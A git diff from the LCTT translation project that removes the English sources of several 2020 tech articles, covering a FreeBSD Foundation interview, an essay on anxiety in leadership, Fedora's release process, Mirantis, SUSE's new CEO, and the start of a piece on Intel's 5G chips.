highlight the different FreeBSD use cases. Companies like [Netflix support FreeBSD][5] by supporting the Project financially, as well as, by upstreaming their code. Some of the companies, like Sony, take advantage of the BSD license and don’t give back at all.  - -![Deb Goodkin And Friend Promoting FreeBSD At Oscon][6] - -**It’s FOSS: Linux is ruling the servers and cloud computing. It seems that BSD is lagging in that field?** - -I wouldn’t characterize it as lagging, per se. Linux distributions do have a much higher market share than FreeBSD, but our strength falls in those two markets. FreeBSD does extremely well in these markets, because it provides a consistent and reliable foundation, and tends to just work. Known for having long term API stability, the user will integrate once and upgrade on their terms as both FreeBSD and their product evolves.  - -**It’s FOSS: Do you see the emergence of Linux as a threat to BSD? ** - -Sure, [there are so many Linux distributions][7] already, and most of them are supported by for profit companies. In fact, companies like Intel have many Linux developers on staff, so Linux is easily supported on their hardware. - -However, thanks to the continuing education efforts and as our market share continues to grow, more developers will be available to support companies’ various FreeBSD use cases.  - -**It’s FOSS: Let’s talk about desktop. Recently, the devs of Project Trident announced that they were moving away from FreeBSD as a base. They said that they made this decision because FreeBSD is slow to review updates and support for new hardware. For example, the most recent version of Telegram on FreeBSD is 9 releases behind the version available on Linux. How would you respond to their comments?** - -There are quite a few FreeBSD distros for the desktop, with various focuses. The latest, is [FuryBSD][8], which coincidentally was started by iXsystems employees, but is independent of iXsystems, just like Project Trident is. In addition to FuryBSD, you may want to check out [NomadBSD][9] and [MidnightBSD][10]. - -Regarding supporting new hardware, we’ve stepped up our efforts to get FreeBSD working on more popular newer laptops. For example, the Foundation recently purchased a couple of the latest generation Lenovo X1 Carbon laptops and sponsored work to make sure that peripherals are supported out-of-the-box. - -**It’s FOSS: Why should a desktop user consider choosing FreeBSD?** - -There are many reasons people should consider using FreeBSD on their desktop! Just to highlight a few, it has rock solid stability; high performance; supports [ZFS][11] to protect your data; a community that is friendly, helpful, and approachable; excellent documentation to easily find answers; over 30,000 open source software packages that are easy to install, allowing you to easily set up your environment without a lot of extras, and that includes many choices of popular GUIs, and it follows the POLA philosophy ([Principle of Least Astonishment][12]) which means, don’t break things that work and upgrades are generally painless (even across major releases).  - -**It’s FOSS: Are there any plans to make it easier to install FreeBSD as a desktop system? The current focus seems to be on servers.** - -The Foundation is supporting efforts to make sure FreeBSD works on the latest hardware and peripherals that appear in desktop systems, and will continue to support making FreeBSD easy to deploy, monitor, and configure to provide a great toolbox for building a desktop on top of it. That allows others to take as much or as little of FreeBSD to build a desktop version to produce a specific user experience they desire. - -Like I mentioned above, there are other FreeBSD distributions that have taken these FreeBSD components and created their own desktop versions. - -**It’s FOSS: What are your plans/roadmap for FreeBSD in the coming years?** - -The FreeBSD Foundation’s purpose is to support the FreeBSD Project. While we’re an entirely separate entity, we work closely with the Core Team and the community to help move the Project forward. The Foundation identifies key areas we should support in the coming years, based on input from users and what we are seeing in the industry.  - -In 2019, we embarked on an even broader spectrum advocacy project to recruit new members throughout the world, while raising awareness about the benefits of learning FreeBSD. We are funding development projects including WiFi improvements, supporting OpenJDK, ZFS RAID-Z expansion, security, toolchain, performance improvements, and other features to keep FreeBSD innovative. - -The FreeBSD Foundation will continue to host workshops and expand the amount of training opportunities and materials we provide. Finally, the [BSD Certification program][13] recently launched through Linux Professional Institute with greater availability.  - -**It’s FOSS: How can we bring more people to the BSD hold?** - -We need more PR for FreeBSD and get more tech journalists like yourself to write about FreeBSD. We also need more trainings and classes that include FreeBSD in universities, trainings/workshops at technical conferences, more FreeBSD contributors giving talks at those conferences, more technical journalists, as well as, users writing about FreeBSD, and finally we need case studies from companies and organizations successfully using FreeBSD. It all takes having more resources! We’re working on all of the above.  - -**It’s FOSS: Any message you would like to convey to our readers?** - -Readers should consider getting involved with the largest and oldest democratically run open source project! - -Whether you want to learn systems programming or how an operating system works, the small size of the operating system makes it a great platform to learn from. The size of the Project makes it easier for anyone to make a notable contribution, and there is a strong mentorship culture to support new contributors. - -Being a democratically run project, allows your voice to be heard and work in the areas you are interested in. I hope your readers will go to [freebsd.org][1] and try it out themselves. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/freebsd-interview-deb-goodkin/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://www.freebsd.org/ -[2]: https://www.freebsdfoundation.org/ -[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/02/deb-goodkin-interview.png?ssl=1 -[4]: https://www.juniper.net/us/en/products-services/nos/junos/ -[5]: https://itsfoss.com/netflix-freebsd-cdn/ -[6]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/02/FreeBSDFoundation_Deb_Goodkin_and_friend_promoting_FreeBSD_at_OSCON.jpg?ssl=1 -[7]: https://itsfoss.com/best-linux-distributions/ -[8]: https://itsfoss.com/furybsd/ -[9]: https://itsfoss.com/nomadbsd/ -[10]: https://itsfoss.com/midnightbsd-1-0-release/ -[11]: https://itsfoss.com/what-is-zfs/ -[12]: https://en.wikipedia.org/wiki/Principle_of_least_astonishment -[13]: https://www.lpi.org/our-certifications/bsd-overview diff --git a/sources/talk/20200225 Spilling over- How working openly with anxiety affects my team.md b/sources/talk/20200225 Spilling over- How working openly with anxiety affects my team.md deleted file mode 100644 index 2a89fd37a5..0000000000 --- a/sources/talk/20200225 Spilling over- How working openly with anxiety affects my team.md +++ /dev/null @@ -1,86 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Spilling over: How working openly with anxiety affects my team) -[#]: via: (https://opensource.com/open-organization/20/2/working-anxiety-team-performance) -[#]: author: (Sam Knuth https://opensource.com/users/samfw) - -Spilling over: How working openly with anxiety affects my team -====== -The team might interpret my behavior as evidence of exacting standards -or high expectations. But I know my anxiety does impact their -performance. -![Spider web on green background][1] - -_Editor's note: This article is part of a series on working with mental health conditions. It details the author's personal experiences and is not meant to convey professional medical advice or guidance._ - -I was speaking with one of my direct reports recently about a discussion we'd had with the broader team earlier in the week. In that discussion I had expressed some frustration that we weren't as far along on a particular project as I thought we needed to be. - -"I knew you were disappointed," my staff member said, recalling the meeting, "like you wanted us to be doing something that we weren't doing, or that what we were doing wasn't good enough." - -They paused for a moment and then said, "Sam, I get this feeling from you all the time." - -That comment struck me pretty profoundly. To my team member, perhaps the scenario above is a reflection of my exacting standards, my high expectations, or my desire to see continual improvement with the team. Those are all reasonable explanations for my behavior. - -But there's another ingredient my team may not be aware of: my anxiety. - -### It's not just personal - -[Previously I discussed][2] how my anxiety, beginning with a worry that I'm not "doing enough," can fuel my proactive tendencies, leading to higher performance at work. What I hadn't considered is my team can interpret my _personal_ feeling of not doing enough as an indicator that _they_ are not doing enough. - -Living with anxiety and other mental health conditions feels personal. It's not something I've talked about at work. It's not something I generally discuss, and it's something I've always felt I was coping with as a private part of my life. - -Living with anxiety and other mental health conditions feels personal. It's not something I've talked about at work. It's not something I generally discuss, and it's something I've always felt I was coping with as a private part of my life. - -But that discussion with my staff member made me realize that I can't contain my personality so neatly. In truth, my anxiety spills over to my team in ways I hadn't considered. I don't know if anxiety can "rub off" on someone, but when I try to think about it objectively, I imagine someone with anxiety would feel it heightened if they worked for me (perhaps my anxiety would feed theirs), and one without anxiety might feel I have unreasonable or unmeetable expectations. - -As a leader—even in an open organization, where [hierarchy is not the most important factor][3] in determining influence—I'm aware that I am in a position of a certain amount of power. People observe my behavior more closely than I realize; how I treat people has a big impact on them, the broader organization, and ultimately the success of the team. - -I try hard to treat people with respect, [to assume positive intent][4], to give people the room to do their work in the way they see fit. But, nonetheless, do my team members feel the kind of judgment from me that I continually impose on myself? - -### Counting our achievements - -What feels "good" to me (what calms my anxiety) is to focus _not_ on what we _have achieved_, but on what we _have yet to do_; not to _celebrate success_, but to _find areas for improvement_. So, when we hit a big milestone, my gut reaction is to say, "Great, now that we've come this far, what else can we do to have a bigger impact?" Stopping and celebrating the team's accomplishments before moving on to the next challenge feels foriegn to me. It also makes me anxious that we are pausing in our progress. - -This is [what I've called an anxiety-driven performance loop][2]. The sense of accomplishment (and the external acknowledgement) after an achievement fuels a desire to immediately start looking for the next challenge. To some extent, this performance loop keeps me productive—even though it has other consequences, too. - -What I want to _avoid_ is transferring my anxiety to my team members. I don't want them to feel that I am continually saying, "What have you done for me lately?" even though that is how I feel the world is looking at me. That's an aspect of what I've called [an anxiety inaction loop][5]. - -I try hard to treat people with respect, to assume positive intent, to give people the room to do their work in the way they see fit. But, nonetheless, do my team members feel the kind of judgment from me that I continually impose on myself? - -At a fundamental level, I believe work is never done, that there is always another challenge to explore, other ways to have a larger impact. Leaders need to inspire and motivate us to embrace that reality as an exciting opportunity rather than an endless drudge or a source of continual worry. - -As a leader who suffers from anxiety, this is more challenging to do in practice than it is to understand intellectually. - -While this is an area of continual work for me, I've received some good advice on how to shield my colleagues from my own anxiety-driven loops, like: - - * If celebrating success and acknowledging achievement doesn't come naturally for you, build it into the plan from the start. Ensure you have the celebration of accomplishment accounted for from the beginning of a project. This can help reduce the "what have you done for me lately?" impulse that comes from moving quickly to the next challenge without pausing to acknowledge achievements. - * Work with another team member on acknowledgment and celebration efforts. Others might have different ideas on how to do this effectively, and may also enjoy the process. Giving this responsibility to someone else can help ensure it isn't lost. - * Practice compassion, gratitude, and empathy. This may not come naturally and may take some effort. Putting yourself in someone else's shoes, thinking about their perspective, thanking people for what they have done, and understanding their challenges can go a long way in shifting your own perspective. - * If you find yourself judging others, ask yourself, "Is this useful in terms of what I want or need from this situation?" That is, is carrying judgment going to help you accomplish your goal? Most likely, the answer is no. And, in fact, it may have the opposite effect! - - - -The above tips have been helpful for me. But the goal of this series hasn't been to provide solutions but rather to share my experiences and to use writing to explore my own tendencies and the impact they have on myself and others. I believe that acknowledging and sharing our personal challenges can reduce the [stigma][6] associated with mental illness, create the space needed to start exploring solutions, and to create environments that are more positive and invigorating to work in. - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/20/2/working-anxiety-team-performance - -作者:[Sam Knuth][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/samfw -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/osdc-lead-web-internet.png?itok=UQ0zMNJ3 (Spider web on green background) -[2]: https://opensource.com/open-organization/20/1/leading-openly-anxiety -[3]: https://opensource.com/open-organization/resources/open-org-definition -[4]: https://opensource.com/article/17/2/what-happens-when-we-just-assume-positive-intent -[5]: https://opensource.com/open-organization/20/2/working-anxiety-inaction-loop -[6]: https://www.bloomberg.com/news/articles/2019-11-13/mental-health-is-still-a-don-t-ask-don-t-tell-subject-at-work diff --git a/sources/talk/20200226 How we decide when to release Fedora.md b/sources/talk/20200226 How we decide when to release Fedora.md deleted file mode 100644 index 204a917ee4..0000000000 --- a/sources/talk/20200226 How we decide when to release Fedora.md +++ /dev/null @@ -1,74 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How we decide when to release Fedora) -[#]: via: (https://fedoramagazine.org/how-we-decide-when-to-release-fedora/) -[#]: author: (Ben Cotton https://fedoramagazine.org/author/bcotton/) - -How we decide when to release Fedora -====== - -![][1] - -Open source projects can use a variety of different models for deciding when to put out a release. Some projects release on a set schedule. Others decide on what the next release should contain and release whenever that is ready. Some just wake up one day and decide it’s time to release. And other projects go for a rolling release model, avoiding the question entirely. - -For Fedora, we go with a [schedule-based approach][2]. Releasing twice a year means we can give our contributors time to implement large changes while still keeping on the leading edge. Targeting releases for the end of April and the end of October gives everyone predictability: contributors, users, upstreams, and downstreams. - -But it’s not enough to release whatever’s ready on the scheduled date. We want to make sure that we’re releasing _quality_ software. Over the years, the Fedora community has developed a set of processes to help ensure we can meet both our time and and quality targets. - -### Changes process - -Meeting our goals starts months before the release. Contributors propose changes through our [Changes process][3], which ensures that the community has a chance to provide input and be aware of impacts. For changes with a broad impact (called “system-wide changes”), we require a contingency plan that describes how to back out the change if it’s broken or won’t be ready in time. In addition, the change process includes providing steps for testing. This helps make sure we can properly verify the results of a change. - -Change proposals are due 2-3 months before the beta release date. This gives the community time to evaluate the impact of the change and make adjustments necessary. For example, a new compiler release might require other package maintainers to fix bugs exposed by the new compiler or to make changes that take advantage of new capabilities. - -A few weeks before the beta and final releases, we enter a [code freeze][4]. This ensures a stable target for testing. Bugs identified as blockers and non-blocking bugs that are granted a freeze exception are updated in the repo, but everything else must wait. The freeze lasts until the release. - -### Blocker and freeze exception process - -In a project as large as Fedora, it’s impossible to test every possible combination of packages and configurations. So we have a set of test cases that we run to make sure the key features are covered. - -As much as we’d like to ship with zero bugs, if we waited until we reached that state, there’d never be another Fedora release again. Instead, we’ve defined release criteria that define what bugs can [block the release][5]. We have [basic release criteria][6] that apply to all release milestones, and then separate, cumulative criteria for [beta][7] and [final][8] releases. With beta releases, we’re generally a little more forgiving of rough edges. For a final release, it needs to pass all of beta’s criteria, plus some more that help make it a better user experience. - -The week before a scheduled release, we hold a “[go/no go meeting][9]“. During this meeting, the QA team, release engineering team, and the Fedora Engineering Steering Committee (FESCo) decide whether or not we will ship the release. As part of the decision process, we conduct a final review of blocker bugs. If any accepted blockers remain, we push the release back to a later date. - -Some bugs aren’t severe enough to block the release, but we still would like to get them fixed before the release. This is particularly true of bugs that affect the live image experience. In that case, we grant an [exception for updates that fix those bugs][10]. - -### How you can help - -In all my years as a Fedora contributor, I’ve never heard the QA team say “we don’t need any more help.” Contributing to the pre-release testing processes can be a great way to make your first Fedora contribution. - -The Blocker Review meetings happen most Mondays in #fedora-blocker-review on IRC. All members of the Fedora community are welcome to participate in the discussion and voting. One particularly useful contribution is to look at the [proposed blockers][11] and see if you can reproduce them. Knowing if a bug is widespread or not is important to the blocker decision. - -In addition, the QA team conducts test days and test weeks focused on various parts of the distribution: the kernel, GNOME, etc. Test days are announced on [Fedora Magazine][12]. - -There are plenty of other ways to contribute to the QA process. The Fedora wiki has a [list of tasks and how to contact the QA team][13]. The Fedora 32 Beta release is a few weeks away, so now’s a great time to get started! - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/how-we-decide-when-to-release-fedora/ - -作者:[Ben Cotton][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/bcotton/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/02/releasing-fedora-1-816x345.png -[2]: https://fedoraproject.org/wiki/Fedora_Release_Life_Cycle#Development_Schedule -[3]: https://docs.fedoraproject.org/en-US/program_management/changes_policy/ -[4]: https://fedoraproject.org/wiki/Milestone_freezes -[5]: https://fedoraproject.org/wiki/QA:SOP_blocker_bug_process -[6]: https://fedoraproject.org/wiki/Basic_Release_Criteria -[7]: https://fedoraproject.org/wiki/Fedora_32_Beta_Release_Criteria -[8]: https://fedoraproject.org/wiki/Fedora_32_Final_Release_Criteria -[9]: https://fedoraproject.org/wiki/Go_No_Go_Meeting -[10]: https://fedoraproject.org/wiki/QA:SOP_freeze_exception_bug_process -[11]: https://qa.fedoraproject.org/blockerbugs/ -[12]: https://fedoramagazine.org/tag/test-day/ -[13]: https://fedoraproject.org/wiki/QA/Join diff --git a/sources/talk/20200226 Mirantis- Balancing Open Source with Guardrails.md b/sources/talk/20200226 Mirantis- Balancing Open Source with Guardrails.md deleted file mode 100644 index 5eeb400060..0000000000 --- a/sources/talk/20200226 Mirantis- Balancing Open Source with Guardrails.md +++ /dev/null @@ -1,86 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Mirantis: Balancing Open Source with Guardrails) -[#]: via: (https://www.linux.com/articles/mirantis-balancing-open-source-with-guardrails/) -[#]: author: (Swapnil Bhartiya https://www.linux.com/author/swapnil/) - -Mirantis: Balancing Open Source with Guardrails -====== - -[![][1]][2] - -[![][1]][2] - -Mirantis, an open infrastructure company that rose to popularity with its OpenStack offering, is now moving into the Kubernetes space very aggressively. [Last year, the company acquired the Docker Enterprise business from Docker.][3] [This week, it announced that they were hiring the Kubernetes experts from the Finnish company Kontena a][4]nd established a Mirantis office in Finland, expanding the company’s footprint in Europe. Mirantis already has a significant presence in Europe due to large customers such as Bosch and [Volkswagen][5]. - -The Kontena team primarily focused on two technologies. One was a Kubernetes distro called [Pharos][6], which differentiated itself from other distributions by specializing in addressing life cycle management challenges. They had developed some unique capabilities for deployment and for updating Kubernetes itself. - -The second product by Kontena is [Lens][6]. “It’s like a Kubernetes dashboard on steroids. In addition to offering the standard dashboard functions, it went multiple steps further by providing a terminal for command line interfacing to nodes and containers, and additional real-time insights, role-based access controls and a number of other capabilities that are currently absent from the Kubernetes dashboard,” said [Dave Van Everen][7], SVP of Marketing at Mirantis. - -Everything that Kontena does is open source. These open source projects are already used by hundreds of organizations around the world. “They have a proven track record of contributing valuable technology pieces to the Kubernetes ecosystem, and we saw an opportunity to bring the team on board and capitalized on that opportunity as quickly as we could,” said Van Everen. - -Mirantis will integrate many of the technology concepts and benefits from Pharos into its Docker Enterprise offering. With Kontena engineers on board, Mirantis expects to incorporate the best of what Kontena offered into its commercially supported Docker Enterprise and [Kubernetes][8] technology. - -With this acquisition, Mirantis has hinted at a very aggressive 2020. The company is weeks away from launching the first Docker Enterprise release since the acquisition. The release brings many new capabilities on top of Docker Enterprise 3.0. The company is working on merging the [Mirantis KaaS][9] capabilities with Docker Enterprise. “We will add new capabilities, including multi-cluster management and continuous automated updates to the Kubernetes that’s already within Docker Enterprise,” said Van Everen. - -**What is Mirantis today?** - -Mirantis started out as a pure-play OpenStack company, but as the market dynamics changed, the company adjusted its own positioning and bet on CD platforms like Spinnaker and container orchestration technologies like Kubernetes. So, what are they focusing on today? - -Van Everen said that Mirantis is definitely embracing Kubernetes as the open standard used by enterprises for modern applications. Kubernetes itself has a massive ecosystem of technologies that a customer needs to leverage. “When we speak about Kubernetes, we speak about full-stack Kubernetes, which includes that ecosystem consisting of a couple dozen components in a typical cluster deployment. Our job as a trusted partner in helping our customers accelerate their path to modern applications is to streamline and automate all of the infrastructure and DevOps tooling supporting their app development lifecycle,” san Van Everen. - -In a nutshell, Mirantis is making it easier for customers to use Kubernetes. - -Over the years, [Mirantis][10] has gained expertise in IaaS with the work they did on OpenStack. “All of that plays a role in helping companies move faster and become more agile as they’re modernizing their applications. We apply many of those same strengths to the Kubernetes ecosystem,” he said. - -Mirantis is also building expertise in continuous delivery platforms like [Argo CD][11] and is offering customers a spectrum of professional services around application modernization, from writing code that is based in microservices architecture, to integrating CI/CD pipelines and modernizing the tooling for CI/CD to better support cloud-native patterns. By supporting Kubernetes technology with app modernization services, Mirantis is helping customers wherever they are in their digital transformation and cloud-native journey. - -“All of those things that our services team provides are complementary to the technology. That’s a unique value that only Mirantis can provide to the market, where we can couple open source technologies with strong services to ensure that companies really get the most out of that open source technology and fulfill their ultimate goal, which is to accelerate their pace of innovation,” Van Everen said. - -Container networking is a critical piece of the cloud-native world and Mirantis already has expertise in the area, thanks to their work on OpenStack. The company recently joined the Linux Foundation’s [LF Networking project][12] which is home to [Tungsten Fabric][13] (formerly known as OpenContrail), a technology that Mirantis uses for its [OpenStack][14] offerings. - -He explains, “While we use Calico for the container networking, Tungsten Fabric would be an important part of the underlying networking supporting Kubernetes deployments. Staying true to our heritage, we want to be involved in the open community and have both a voice and a stake in the direction the communities are moving in.” - -[As for the ongoing debate or controversy around two competing service mesh technologies Istio and Linkerd,][15] the company has made its bet on Istio. A few months ago, Mirantis announced a training program for Istio, which was bundled with Mirantis’ KaaS offerings. - -“We include Istio as a service mesh by default in child clusters under Mirantis KaaS management. It’ll be used as an ingress with Docker Enterprise initially. Moving forward, we’re still looking at how to best deploy it in a service mesh configuration by default and provide a configurable but still functional default deployment for Istio as a service mesh,” said Van Everen. - -It might seem like Mirantis is latching on to the latest hot technologies like OpenStack, [Spinnaker][16], Docker Enterprise, Kubernetes, and Istio to see what sticks. In reality, there is a method to it: the company is going where its customers are going, with the technologies that customers are using. It’s a fine balancing act. - -“That’s the type of technology challenge that Mirantis embraces. We are open source experts and continue to provide the greatest flexibility and choice in our industry, but we do it in such a way that there are guardrails in place so that companies don’t end up having something that’s overly complex and unmanageable, or configured incorrectly,” he concluded. - -Note: Cross posted to [TFIR][17] - --------------------------------------------------------------------------------- - -via: https://www.linux.com/articles/mirantis-balancing-open-source-with-guardrails/ - -作者:[Swapnil Bhartiya][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/author/swapnil/ -[b]: https://github.com/lujun9972 -[1]: https://www.linux.com/wp-content/uploads/2019/09/world-network-1068x713.jpg (world-network) -[2]: https://www.linux.com/wp-content/uploads/2019/09/world-network.jpg -[3]: https://www.youtube.com/watch?v=cBOrVKuomcU&feature=emb_title -[4]: https://containerjournal.com/topics/container-ecosystems/mirantis-acquires-kubernetes-assets-from-kontena/ -[5]: https://www.mirantis.com/company/press-center/company-news/volkswagen-group-selects-mirantis-openstack-software-next-generation-cloud/ -[6]: https://github.com/kontena -[7]: https://twitter.com/davidvaneveren?lang=en -[8]: https://kubernetes.io/ -[9]: https://www.tfir.io/mirantis-launches-kaas-across-bare-metal-public-and-private-clouds/ -[10]: https://www.mirantis.com/ -[11]: https://argoproj.github.io/argo-cd/ -[12]: https://www.linuxfoundation.org/projects/networking/ -[13]: https://tungsten.io/ -[14]: https://www.openstack.org/ -[15]: https://twitter.com/hashtag/istio?lang=en -[16]: https://www.tfir.io/?s=spinnaker -[17]: https://www.tfir.io/mirantis-balancing-open-source-with-guardrails/ diff --git a/sources/talk/20200227 How Melissa Di Donato Is Going To Reinvent SUSE.md b/sources/talk/20200227 How Melissa Di Donato Is Going To Reinvent SUSE.md deleted file mode 100644 index eb5fa59eb0..0000000000 --- a/sources/talk/20200227 How Melissa Di Donato Is Going To Reinvent SUSE.md +++ /dev/null @@ -1,91 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How Melissa Di Donato Is Going To Reinvent SUSE) -[#]: via: (https://www.linux.com/articles/how-melissa-di-donato-is-going-to-reinvent-suse/) -[#]: author: (Swapnil Bhartiya https://www.linux.com/author/swapnil/) - -How Melissa Di Donato Is Going To Reinvent SUSE -====== - -[![][1]][2] - -[![][1]][2] - -SUSE is one of the oldest open source companies and the first to market Linux for the enterprise. Even though it has undergone several acquisitions and a merger, it remains a strong player in the business. It has maintained its integrity and core values around open source. It continues to rely on its tried-and-tested Linux business and European markets, and generally shies away from making big moves taking big risks. - -Until now. - -[SUSE appointed Melissa Di Donato as its first female CEO][3]. She is making some serious changes to the company, from building a diverse and inclusive culture to betting on emerging technologies and taking risks. - -Soon after taking the helm last year, Di Donato spent the first few months traveling around the globe to meet SUSE teams and customers and get a better sense of the perception of the market about the company. - -Just like [Red Hat CEO Jim Whitehurst,][4] Di Donato didn’t come to the company from an open source background. She had spent the last 25 years of her career as a SUSE customer, so she did have an outsider’s perspective of the company. - -“I am not interested in what SUSE was when I joined. I am more interested in what we want to become,” she said. - -**Innovating for customers** - -After her 100-day global tour, Di Donato had a much clearer picture of the company. She found that more than 80% of SUSE customers were still traditionalists, i.e., companies such as Walgreens and Daimler who have been around for a long time. - -Over the years, these customers brought technologies into their environments to simplify things, but they ended up creating more complexities. It’s a tall order to weave through the legacy technical debt they incurred and embrace emerging technologies such as Cloud Foundry, Kubernetes and so on. - -These customers want to modernize their legacy environments and workloads, but they can’t do that with the complex environments they have built. They can’t iterate faster; they can’t respond to new opportunities and new competitors faster. - -They want to leverage cloud-native technologies like Kubernetes and containers, but it is overwhelming to evaluate technologies that are emerging at such a rapid pace. Which ones are just shiny new things and which ones do they really need them to accelerate their business goals? - -“We have to help our customers simplify their infrastructure and environment so that they can start modernizing it and start leveraging new technologies,” Di Donato said. - -While SUSE will continue to focus on core Linux OS, it will also invest in the next generation of Linux. It has been working on technologies like Kubic and MicroOS that change the way Linux is installed, managed, and operated. - -She explains, “We are going to reinvent the way operating systems are used. We are going to make sure that we provide solutions that help our customers optimize their environment, automate components to help the applications run in a much more efficient and modern way. That’s what SUSE is going to be — an innovator. We’re not there quite yet, but that’s our focus.”. - -**Evolving the company ** - -Historically, SUSE has been a fairly conservative company compared to other companies like Red Hat, which has been embracing emerging technologies at a much faster rate than any other open source software vendor. - -“We have not been in a place where we’ve been considered the risk taker. We’re the steady, stable provider of the most comprehensive unbreakable solutions in the market,” Di Donato admitted. “But we need to take that strong foundation and begin to become a bit of a risk taker, and begin to become very innovative.” - -She is also gunning for explosive growth. “We’re going to double in size by 2023. We have to go from just under half-a-billion in revenue to a billion.” - -To achieve that, SUSE will be looking at both organic and inorganic growth, including acquisition of companies, talent and technologies. “We are going to be the default choice for innovation. We are going to be the default choice for highly innovative technologies that really change the landscape,” Di Donato said. - -**Refining the brand** - -Aside from making significant changes within the company, Di Donato is working on refining the SUSE brand. She hired seasoned Ivo Totev to lead Product and Marketing and showcase the company’s differentiation. - -“We’re trying to get into the psychology of reinventing the brand,” Di Donato said. Her goal is to allocate 30-40% of SUSE’s total revenue outside of the core Linux OS towards emerging markets and develop the technologies that they’ve already built. - -SUSE _is_ home to many innovative technologies that are being used by other open source communities, even its competitors. It just didn’t market them the way Red Hat would market its technologies and projects. Even though SUSE started before Red Hat, the latter has much more visibility around the globe. - -“It’s a matter of getting the word out. We build things, but we don’t talk about it or do anything about it. We actually have to put a package around it and start selling it so people can see who we are and what value we bring to them.” - -In Di Donato’s eyes, though, good marketing isn’t everything. She argued that customers are going to demand flexibility and they are going to demand innovation that is not tied to the stack of a company. “Red Hat has a very locked-in stack that doesn’t allow them to be agnostic at all.” - -It’s quite true that unlike Red Hat, SUSE is known as an “open open-source company”, one that believes in working with partners to create an ecosystem around open source, instead of creating a tightly integrated stack that locks everyone out. - -She believes that eventually, customers would want the freedom and flexibility of picking and choosing the components they want in their stack. - -**Conclusion** - -Expect some big moves from SUSE in the near future. Less than a year into the company, new CEO Di Donato has developed a very clear vision. “We’re going to build this company based on an innovative and agile mindset. We’re not going to give up the stability and the quality of our core. What we are going to do is surround the core with really innovative thought-leading technologies that are going to set us apart from our competition… You are going to feel and experience a very different sense of excitement because we’re going to be talking much, much louder than we’ve ever talked about it before.” - --------------------------------------------------------------------------------- - -via: https://www.linux.com/articles/how-melissa-di-donato-is-going-to-reinvent-suse/ - -作者:[Swapnil Bhartiya][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/author/swapnil/ -[b]: https://github.com/lujun9972 -[1]: https://www.linux.com/wp-content/uploads/2020/02/Melissa-Di-Donato-1068x763.jpg (Melissa Di Donato) -[2]: https://www.linux.com/wp-content/uploads/2020/02/Melissa-Di-Donato-scaled.jpg -[3]: https://www.tfir.io/suse-gets-its-first-female-ceo-melissa-di-donato/ -[4]: https://www.cio.com/article/3090140/jim-whitehurst-if-its-important-to-the-linux-community-its-important-to-red-hat.html diff --git a/sources/talk/20200228 Intel takes aim at Huawei 5G market presence.md b/sources/talk/20200228 Intel takes aim at Huawei 5G market presence.md deleted file mode 100644 index 22caa3c0f6..0000000000 --- a/sources/talk/20200228 Intel takes aim at Huawei 5G market presence.md +++ /dev/null @@ -1,59 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Intel takes aim at Huawei 5G market presence) -[#]: via: (https://www.networkworld.com/article/3529354/intel-takes-aim-at-huawei-5g-market-presence.html) -[#]: author: (Andy Patrizio https://www.networkworld.com/author/Andy-Patrizio/) - -Intel takes aim at Huawei 5G market presence -====== -Intel has ambitious plans to grab the 5G base station marketplace, which is still in its infancy. -Christopher Hebert/IDG - -Intel on Monday introduced a raft of new processors, and while updates to the Xeon Scalable lineup led the parade, the real news is Intel's efforts to go after the embattled Huawei Technologies in the 5G market. - -Intel unveiled its first ever 5G integrated chip platform, the Atom P5900, for use in base stations. Navin Shenoy, executive vice president and general manager of the data platforms group at Intel, said the product is designed for 5G's high bandwidth and low latency and combines compute, 100Gb performance and acceleration into a single SoC. - -"It delivers a performance punch in packet security throughput, and improved packet balancing throughput versus using software alone," Shenoy said in the video accompanying the announcement. Intel claims the dynamic load balancer native to the Atom P5900 chip is 3.7 times more efficient at packet balancing throughput than software alone. - -Shenoy said Ericsson, Nokia, and ZTE have announced that they will use the Atom P5900 in their base stations. Intel hopes to be the market leader for silicon base station chips by 2021, aiming for 40% of the market and six million 5G base stations by 2024. - -That's pretty aggressive, but the 5G fields are very green and there is plenty of room for growth. Despite all the mobile provider's commercials boasting of 